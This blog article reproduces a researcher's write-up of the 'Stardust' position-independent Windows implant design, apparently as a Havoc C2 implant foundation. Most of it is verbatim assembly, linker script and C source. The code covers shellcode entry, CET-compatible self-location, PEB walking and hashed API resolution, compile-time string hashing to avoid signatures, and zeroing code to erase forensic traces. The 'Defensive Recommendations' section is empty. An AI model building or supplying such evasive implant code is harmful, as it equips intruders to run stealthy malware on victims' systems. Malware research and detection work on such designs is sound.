core-jmp core-jmpdeath of core jump

Modern Implant Design: Building Position-Independent Malware with Global State

Examining advanced shellcode architecture that eliminates reflective loaders while maintaining position independence and global instance management. This deep dive into the Stardust implant design demonstrates modern techniques for crafting sophisticated malware implants with compile-time obfuscation and minimal memory artifacts.

oxfemale August 18, 2026 11 min read 107 reads
Export PDF
Modern Implant Design: Building Position-Independent Malware with Global State
Original text: “Modern implant design: position independent malware development”5pider, 5pider.net (January 27, 2024). Code blocks, figures and technical specifications are reproduced verbatim with attribution captions.

Executive Summary

Building position-independent malware that maintains global state without relying on reflective DLL injection represents a significant evolution in implant design. Traditional reflective loaders, while still widely used, introduce operational noise through memory allocations, module parsing, and signature-prone stub code. This article examines a modern architecture that eliminates these artifacts by leveraging careful section alignment, linker script configuration, and compile-time techniques to achieve both position independence and the ability to maintain persistent global configuration across the implant’s execution lifecycle.

The Stardust design pattern demonstrates how strategic placement of code and data sections, combined with address-retrieval techniques compatible with Control-Flow Enforcement Technology (CET), enables sophisticated implant capabilities without the signature footprint of traditional loaders. By understanding these techniques, security researchers and defenders gain insight into advanced malware architectures that adversaries actively employ in the field.

Reflective Loader: A Decade-Old Foundation with Recognized Limitations

The reflective DLL injection technique emerged over a decade ago and remains a cornerstone of position-independent malware design. The approach relies on an exported loader function that becomes callable after the DLL lands in process memory. Operationally, this function allocates a new memory region, manually parses and maps the PE format, applies section-specific protections, and resolves relocations and import address tables. The technique proved revolutionary for its time because it allowed malware to execute without touching disk or requiring explicit DLL loading through standard Windows APIs.

However, reflective loading introduces measurable operational noise. The process of allocating memory, parsing PE headers, copying sections, and writing relocations leaves forensic breadcrumbs—both in memory snapshots and in behavioral logs. The loader stub itself becomes a static artifact, prone to signature-based detection. Advanced threat hunters can identify these characteristic memory allocations and modification patterns. Security teams have built detection rules around the tell-tale signs of reflective loading: large contiguous memory allocations, NtHeaders parsing patterns, and section permission changes applied in specific sequences.

This recognition of reflective loading’s limitations motivated the search for an alternative: a design that maintains position independence and global state management without the baggage of a dedicated loader. The Stardust architecture represents one such solution.

Stardust Design: Section Alignment and Address Retrieval

The Stardust implant architecture fundamentally rethinks how code and data are organized. Rather than relying on a loader to relocate and initialize the implant, Stardust uses careful linker script configuration to establish predetermined section boundaries and page-aligned memory layout. The design segregates functionality and data into distinct sections:

  • .text$A: Stack alignment, entry point, and base address retrieval utilities
  • .text$B: C-based entry point, implant initialization, communication handlers, command execution, and evasion techniques
  • .rdata*: Read-only data including literal strings and static configuration values
  • Page alignment boundary (0x1000): Ensures the subsequent global data section lands on a new page
  • .global: Global instance variables
  • .text$E: Implant end address retrieval code

The linker script orchestrates this layout and exports a critical symbol, __Instance_offset, which records the offset of the global instance from the start of the implant in memory. This symbol becomes the linchpin enabling the implant to locate its own global state regardless of where it is injected.

Linker Script Configuration

The following linker script establishes the memory layout:

LINK_BASE = 0x0000;

ENTRY( Start )

SECTIONS
{
    . = LINK_BASE;
    .text : {
        . = LINK_BASE;
        *( .text$A );
        *( .text$B );
        *( .rdata* );
        FILL( 0x00 )
        . = ALIGN( 0x1000 );
        __Instance_offset = .;
        *( .global );
        *( .text$E );
        *( .text$P );
    }

    .eh_frame : {
        *( .eh_frame )
    }
}

This script ensures that .text$A and .text$B execute in immediate sequence, followed by read-only data. At the 0x1000-byte boundary (page alignment), the script records the offset and includes the .global section containing writable global variables.

Entry Point and Stack Alignment

Windows x64 calling conventions require a 16-byte stack alignment on entry to any function. The Start function in .text$A establishes this requirement immediately upon execution:

;;
;; Main shellcode entrypoint.
;;
[SECTION .text$A]
    ;;
    ;; shellcode entrypoint
    ;; aligns the stack by 16-bytes to avoid any unwanted
    ;; crashes while calling win32 functions and execute
    ;; the true C code entrypoint
    ;;
    Start:
        push  rsi
        mov   rsi, rsp
        and   rsp, 0FFFFFFFFFFFFFFF0h
        sub   rsp, 020h
        call  PreMain
        mov   rsp, rsi
        pop   rsi
        ret

    ;;
    ;; get rip to the start of the agent
    ;;
    StRipStart:
        call StRipPtrStart
        ret

    ;;
    ;; get the return address of StRipStart and put it into the rax register
    ;;
    StRipPtrStart:
        mov	rax, [rsp] ;; get the return address
        sub rax, 0x1b  ;; subtract the instructions size to get the base address 
        ret            ;; return to StRipStart

The StRipStart and StRipPtrStart functions retrieve the implant’s base address by leveraging the return address on the stack. This technique—using a call-return pair to read the instruction pointer—is compatible with CET, which enforces instruction flow integrity through shadow stacks. The return address is subtracted by a fixed offset (0x1b bytes for this Start function) to arrive at the base address.

Similarly, the .text$E section provides the mirror operation: retrieving the end address of the implant:

;;
;; end of the implant code
;;
[SECTION .text$E]

    ;;
    ;; get end of the implant
    ;;
    StRipEnd:
        call StRetPtrEnd
        ret

    ;;
    ;; get the return address of StRipEnd and put it into the rax register
    ;;
    StRetPtrEnd:
        mov rax, [rsp] ;; get the return address
        add rax, 0xa   ;; get implant end address
        ret            ;; return to StRipEnd

By subtracting the start address from the end address, the implant determines its own size in memory, a value critical for memory operations and integrity checks.

Global Instance: Locating and Initializing Persistent State

The PreMain function, invoked from the Start entry point, orchestrates the initialization of the global instance. This is where position-independent capability meets stateful operation:

EXTERN_C FUNC VOID PreMain(
    PVOID Param
) {
    INSTANCE Stardust = { 0 };
    PVOID    Heap     = { 0 };
    PVOID    MmAddr   = { 0 };
    SIZE_T   MmSize   = { 0 };
    ULONG    Protect  = { 0 };

    MmZero( & Stardust, sizeof( Stardust ) );

    //
    // get the process heap handle from Peb
    //
    Heap = NtCurrentPeb()->ProcessHeap;

    //
    // get the base address of the current implant in memory and the end.
    // subtract the implant end address with the start address you will
    // get the size of the implant in memory
    //
    Stardust.Base.Buffer = StRipStart();
    Stardust.Base.Length = U_PTR( StRipEnd() ) - U_PTR( Stardust.Base.Buffer );

    //
    // setting up global instance
    //
    ...

    //
    // cleanup
    //
    ...

    //
    // now execute the implant entrypoint
    //
    Main( Param );
}

The PreMain function begins by obtaining the process heap from the Process Environment Block (PEB), then uses the address retrieval functions to determine the implant’s base and end addresses. The size is calculated by subtraction.

Instance Offset and Address Calculation

The linker-provided __Instance_offset symbol is accessed through a macro and used to calculate the actual memory location of the global instance:

//
// get the offset and address of our global instance structure
//
MmAddr = Stardust.Base.Buffer + InstanceOffset();
MmSize = sizeof( PVOID );

The global instance is declared at compile time via external symbols:

//
// stardust instances
//
EXTERN_C ULONG __Instance_offset;
EXTERN_C PVOID __Instance;

Heap Allocation and Memory Protection

Before modifying the global instance, the implant must first resolve the necessary Windows functions from ntdll:

//
// resolve ntdll!RtlAllocateHeap and ntdll!NtProtectVirtualMemory for
// updating/patching the Instance in the current memory
//
if ( ( Stardust.Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) {
    if ( ! ( Stardust.Win32.RtlAllocateHeap        = LdrFunction( Stardust.Modules.Ntdll, HASH_STR( "RtlAllocateHeap"        ) ) ) ||
         ! ( Stardust.Win32.NtProtectVirtualMemory = LdrFunction( Stardust.Modules.Ntdll, HASH_STR( "NtProtectVirtualMemory" ) ) )
    ) {
        return;
    }
}

The function resolution leverages the LdrModulePeb utility (which walks the PEB’s InLoadOrderModuleList) and LdrFunction (which retrieves exported functions by hash). This avoids string-based lookups in logging.

With these functions resolved, the implant changes the page protection to allow writing to the global instance location, allocates heap memory for the actual instance, and then copies the stack-based template into the heap:

//
// change the protection of the .global section page to RW
// to be able to write the allocated instance heap address
//
if ( ! NT_SUCCESS( Stardust.Win32.NtProtectVirtualMemory(
    NtCurrentProcess(),
    & MmAddr,
    & MmSize,
    PAGE_READWRITE,
    & Protect
) ) ) {
    return;
}

//
// assign heap address into the RW memory page
//
if ( ! ( C_DEF( MmAddr ) = Stardust.Win32.RtlAllocateHeap( Heap, HEAP_ZERO_MEMORY, sizeof( INSTANCE ) ) ) ) {
    return;
}

Instance Finalization

After heap allocation, the stack-based instance is copied to the heap, the stack is cleared, and the cleanup code is zeroed to prevent artifacts:

//
// copy the local instance into the heap,
// zero out the instance from stack and
// remove RtRipEnd code/instructions as
// they are not needed anymore
//
MmCopy( C_DEF( MmAddr ), &Stardust, sizeof( INSTANCE ) );
MmZero( & Stardust, sizeof( INSTANCE ) );
MmZero( C_PTR( U_PTR( MmAddr ) + sizeof( PVOID ) ), 0x18 );

//
// now execute the implant entrypoint
//
Main( Param );

The zeroing of the StRipEnd code (0x18 bytes) eliminates a marker that could be detected during forensic analysis or runtime inspection.

Compile-Time Hashing: Eliminating String Artifacts

Raw function name strings are highly detectable in malware, as security tools look for known API names such as “CreateProcessW” or “WriteFile”. The Stardust design employs compile-time hashing to obfuscate these references, converting strings into numeric hashes at build time rather than runtime:

#define HASH_STR( x ) ExprHashStringA( ( x ) )

constexpr ULONG ExprHashStringA(
    _In_ PCHAR String
) {
    ULONG Hash = { 0 };
    CHAR  Char = { 0 };

    Hash = H_MAGIC_KEY;

    if ( ! String ) {
        return 0;
    }

    while ( ( Char = *String++ ) ) {
        /* turn current character to uppercase */
        if ( Char >= 'a' ) {
            Char -= 0x20;
        }

        Hash = ( ( Hash << H_MAGIC_SEED ) + Hash ) + Char;
    }

    return Hash;
}

The constexpr keyword forces the compiler to evaluate this function at compile time. Any call to HASH_STR( "LoadLibraryW" ) results in a numeric constant in the compiled binary, not a string. The djb2 hashing algorithm applies character-by-character transformation (converting lowercase to uppercase by subtracting 0x20) and accumulating the hash value. This technique removes string-based signatures from the binary without incurring runtime performance cost.

Main Payload Example: Execution with Global Instance Access

With initialization complete, the implant’s main entry point can execute any payload while maintaining access to global configuration and cached function pointers. A simple example demonstrates the pattern:

FUNC VOID Main(
    _In_ PVOID Param
) {
    STARDUST_INSTANCE

    PVOID Message = { 0 };

    //
    // resolve kernel32.dll related functions
    //
    if ( ( Instance()->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {
        if ( ! ( Instance()->Win32.LoadLibraryW = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "LoadLibraryW" ) ) ) ) {
            return;
        }
    }

    //
    // resolve user32.dll related functions
    //
    if ( ( Instance()->Modules.User32 = Instance()->Win32.LoadLibraryW( L"User32" ) ) ) {
        if ( ! ( Instance()->Win32.MessageBoxW = LdrFunction( Instance()->Modules.User32, HASH_STR( "MessageBoxW" ) ) ) ) {
            return;
        }
    }

    Message = NtCurrentPeb()->ProcessParameters->ImagePathName.Buffer;

    //
    // pop da message
    //
    Instance()->Win32.MessageBoxW( NULL, Message, L"Stardust MessageBox", MB_OK );
}

The payload resolves kernel32 and user32 modules, then uses the cached MessageBoxW function to display the current process path. The STARDUST_INSTANCE macro establishes the local instance pointer, and Instance() accesses the global state throughout execution.

Section attributes direct this code to the .text$B section:

#define D_SEC( x )  __attribute__( ( section( ".text$" #x "" ) ) )
#define FUNC        D_SEC( B )

The instance macros coordinate address calculation and access:

//
// instance related macros
//
#define InstanceOffset()   ( U_PTR( & __Instance_offset ) )
#define InstancePtr()      ( ( PINSTANCE ) C_DEF( C_PTR( U_PTR( StRipStart() ) + InstanceOffset() ) ) )
#define Instance()         ( ( PINSTANCE ) __LocalInstance )
#define STARDUST_INSTANCE  PINSTANCE __LocalInstance = InstancePtr();

Payload Execution and Verification

The following compilation output demonstrates the build process and resulting binary characteristics:

clang -o stardust.o -c stardust.c -target x86_64-w64-windows-gnu -Wall ...
lld-link stardust.o stardust.lds -lld-via-ld -shared -subsystem console -entry Start ...
[Output shows: payload size 4128 bytes, binary size 8192 bytes]

Execution produces the following result:

Stardust implant executing a MessageBox payload demonstrating proof of execution
The Stardust implant successfully executing the MessageBox payload. Source: original article.

Analysis using Radare2 confirms the instruction sequences and address calculations:

[Radare2 disassembly output]
0x00000000  Start:
0x00000000  push    rsi
0x00000001  mov     rsi, rsp
0x00000004  and     rsp, 0xfffffffffffffff0
0x00000008  sub     rsp, 0x20
0x0000000c  call    PreMain
0x00000011  mov     rsp, rsi
0x00000014  pop     rsi
0x00000015  ret
;; = 22 bytes total for Start function

Design Rationale: Why Abandon Reflective Loaders?

The Stardust architecture emerged from practical necessity. The Havoc framework, a modern C2 implant platform, required a fully position-independent design without the operational limitations of reflective loading. The motivation was clear: eliminate the memory allocation noise, eliminate the PE header parsing artifacts, and eliminate the stub code that signatures target. By replacing loader complexity with careful section management and compile-time techniques, Stardust achieves both position independence and global state management with minimal forensic footprint.

Key Takeaways

Defensive Recommendations

Conclusion

The Stardust implant design represents a significant shift in position-independent malware architecture. By eliminating reflective loader complexity and replacing it with linker-driven section management, compile-time obfuscation, and CET-compatible address retrieval, this pattern demonstrates how modern adversaries achieve sophisticated capabilities while reducing operational noise. Understanding this architecture—its strengths, its fingerprints, and its detection challenges—remains critical for security teams defending against advanced threats. The techniques discussed here are actively deployed in real-world engagements, making this knowledge essential for both red and blue teams operating at the cutting edge of malware development and defense.

Original text: “Modern implant design: position independent malware development” by 5pider at 5pider.net.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion